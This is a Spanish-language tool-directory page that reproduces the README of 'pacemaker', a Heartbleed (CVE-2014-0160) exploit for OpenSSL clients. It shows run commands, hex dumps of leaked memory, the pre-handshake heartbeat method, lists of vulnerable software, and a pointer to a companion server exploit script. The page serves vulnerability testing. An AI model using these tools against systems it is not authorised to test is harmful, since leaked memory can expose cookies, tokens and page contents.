Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pacemaker — Heartbleed (CVE-2014-0160) exploit de cliente | Kitploit
Herramientas/GitHubGitHub/lekensteyn/pacemaker
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad de RedesCriptografíaPruebas de Penetración
GitHublekensteyn/pacemaker

pacemaker

Heartbleed (CVE-2014-0160) exploit de cliente

Ver Repositorio
330797hace 10 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pacemaker

Intenta abusar de clientes OpenSSL clientes vulnerables a Heartbleed (CVE-2014-0160). Compatible con Python 2 y 3.

¿Soy vulnerable?

Ejecuta el servidor:

python pacemaker.py

En tu cliente, abre https://localhost:4433/ (reemplaza el hostname si es necesario). Por ejemplo:

curl https://localhost:4433/

El cliente siempre fallará al conectar:

curl: (35) Unknown SSL protocol error in connection to localhost:4433

Si no eres vulnerable, el servidor mostrará algo como:

Connection from: 127.0.0.1:40736
Possibly not vulnerable

Si eres vulnerable, verás algo como:

Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

Las líneas posteriores llenas de bytes NUL se pliegan en una con un * a partir de ahí (como la herramienta xxd).

Un ejemplo donde se filtra memoria más "interesante" usando wget -O /dev/null https://google.com https://localhost:4433:

Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

¿Cómo funciona?

Los heartbeats TLS pueden ser enviados por cualquiera de las partes de una conexión TLS. Tras completarse el handshake, estos heartbeats están cifrados. Pero aparentemente OpenSSL permite mensajes heartbeat antes de que el handshake se complete. Estos heartbeats (encima de la capa de registro) ¡no están cifrados en absoluto!

Esto hace que sea muy fácil explotar el bug en clientes:

  1. Esperar un ClientHello que contenga una versión de TLS y un conjunto de cifrado.
  2. Enviar un ServerHello que contenga la misma versión de TLS y el mismo conjunto de cifrado (para evitar que el handshake falle).
  3. En este punto, el servidor puede enviar tantas solicitudes heartbeat como desee.

Ten en cuenta que no se necesitan certificados, ya que los heartbeats son aceptados antes de que se intercambie cualquier certificado o clave de cifrado. Como la longitud de las solicitudes heartbeat no está verificada, se pueden leer hasta 64 kiB de memoria de la memoria del cliente.

pacemaker realiza los pasos anteriores y asume que un cliente no es vulnerable si el paso 3 produce datos que no sean Alertas. Si es necesario para algunos protocolos (SMTP con STARTTLS, por ejemplo), se intercambian datos adicionales antes de que comience el handshake TLS.

Uso avanzado

Ejecuta ./pacemaker.py -h para más opciones. Las opciones más importantes son probablemente -t (--timeout) y -x (--count). El tiempo de espera predeterminado es de 3 segundos, que debería ser suficiente para que la mayoría de los clientes respondan (a menos que haya un enlace satelital o algo similar).

Ejemplo para ser más paciente por heartbeat (5 segundos) y obtener cuatro respuestas heartbeat:

./pacemaker.py -t 5 -x 4

En teoría, los heartbeats pueden tardar veinte segundos ahora, pero en la práctica obtendrás respuestas mucho más rápido.

Clientes probados

Los siguientes clientes han sido probados contra OpenSSL 1.0.1f en Arch Linux y filtraron memoria antes del handshake:

  • MariaDB 5.5.36
  • wget 1.15 (filtra memoria de conexiones anteriores y su propio estado)
  • curl 7.36.0 (https, FTP/IMAP/POP3/SMTP con --ftp-ssl)
  • git 1.9.1 (probado clone / push, no filtra mucho)
  • nginx 1.4.7 (en modo proxy, filtra memoria de solicitudes previas)
  • links 2.8 (¡filtra el contenido de visitas anteriores!)
  • KDE 4.12.4 (kioclient, Dolphin, probado https y ftps con kde4-ftps-kio)
  • Exim 4.82 (SMTP saliente)

links es un gran ejemplo que demuestra el efecto de este bug en los clientes. Es un navegador basado en texto que filtra detalles incluyendo cabeceras (cookies, tokens de autorización) y contenido de páginas.

Licencia

pacemaker tiene licencia MIT. Consulta el archivo LICENSE para más detalles.

heartbleed.py

Esta es una implementación que utiliza pacemaker para construir paquetes. Tiene el inconveniente de que las solicitudes repetidas necesitan establecer una nueva conexión para cada intento porque el servidor reinicia inmediatamente la conexión después de la primera respuesta heartbeat.

El inconveniente es una limitación resultante del enfoque adoptado: si el handshake fuera completado también por el cliente, entonces se podrían enviar muchos handshakes cifrados sin fallos de conexión.

heartbleed.py es parte de pacemaker, por lo que está bajo los mismos términos de licencia.

Servidores probados

Los siguientes servidores han sido probados contra OpenSSL 1.0.1f en Arch Linux (a menos que se indique lo contrario):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (FTP explícito)
  • Exim 4.82 (SMTP)

ssltest.py

Este repositorio también contiene una versión funcional que apunta a servidores. ssltest.py fue creado por Jared Stafford ([email protected]), ¡todos los créditos corresponden a él! Se obtuvo de http://s3.jspenguin.org/ssltest.py.

Por el momento, el script solo es compatible con Python 2.

Descargar herramienta